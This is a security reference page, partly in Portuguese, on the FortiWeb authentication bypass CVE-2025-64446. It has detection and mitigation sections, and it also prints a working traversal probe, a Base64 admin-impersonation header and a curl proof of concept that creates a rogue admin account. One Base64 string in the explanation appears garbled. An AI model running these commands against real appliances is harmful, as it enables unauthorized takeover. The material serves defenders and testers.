Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
Fortinet FortiWeb expõe um dispatcher CGI centralizado em /cgi-bin/fwbcgi. Uma cadeia de dois bugs permite a um atacante remoto não autenticado:
- Alcançar
fwbcgiiniciando a URL com um prefixo de API válido e atravessando diretórios. - Impersonar qualquer usuário (incluindo o
adminembutido) fornecendo um cabeçalho HTTP especial que o CGI confia como identidade.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). A exploração foi observada em ambiente real para criar usuários admin persistentes.
Versões impactadas (conforme documentado publicamente):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
Sonda rápida de vulnerabilidade
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretation: HTTP 200 → provavelmente vulnerável; HTTP 403 → corrigido.
Cadeia da causa raiz
- API-prefix path traversal to internal CGI
- Qualquer caminho de requisição que comece com um prefixo de API válido do FortiWeb (por exemplo,
/api/v2.0/cmdb/ou/api/v2.0/cmd/) pode usar../para chegar a/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Uma vez que
fwbcgié alcançado, um primeiro gate realiza uma verificação permissiva de JSON baseada em um arquivo por caminho em/var/log/inputcheck/. Se o arquivo estiver ausente, a verificação passa imediatamente. Se presente, o corpo só precisa ser JSON válido. Use{}como corpo mínimo compatível.
- Header-driven user impersonation
- O programa lê a variável de ambiente CGI
HTTP_CGIINFO(derivada do header HTTPCGIINFO), decodifica em Base64, analisa o JSON e copia atributos diretamente para o contexto de login, definindo o domain/VDOM. Chaves de interesse: username,loginname,vdom,profname- Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 do conteúdo acima (como usado in-the-wild):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Padrão de abuso fim-a-fim (não autenticado → admin)
- Acesse
/cgi-bin/fwbcgivia an API-prefix traversal. - Forneça qualquer corpo JSON válido (por exemplo,
{}) para satisfazer a verificação de entrada. - Envie o header
CGIINFO: <base64(json)>onde o JSON define a identidade alvo. - Faça POST do JSON de backend esperado por
fwbcgipara executar ações privilegiadas (por exemplo, criar um usuário admin para persistência).
PoC mínimo em cURL
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Personificar o admin e criar um novo usuário admin local:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Notas:
- Any valid JSON body suffices (e.g.,
{}) if/var/log/inputcheck/<path>.jsondoes not exist. - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
Detecção
- Requests reaching
/cgi-bin/fwbcgivia API-prefix paths containing../(e.g.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Presence of header
CGIINFOwith Base64 JSON containing keysusername/loginname/vdom/profname. - Backend artifacts:
- Per-path files under
/var/log/inputcheck/(gate configuration). - Unexpected admin creation and configuration changes.
- Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).
Mitigação
- Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
- Until patched:
- Do not expose FortiWeb management plane to untrusted networks.
- Add reverse-proxy/WAF rules to block:
- Paths that start with
/api/and contain../cgi-bin/fwbcgi. - Requests carrying a
CGIINFOheader. - Monitor and alert on the detection indicators above.
Referências
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

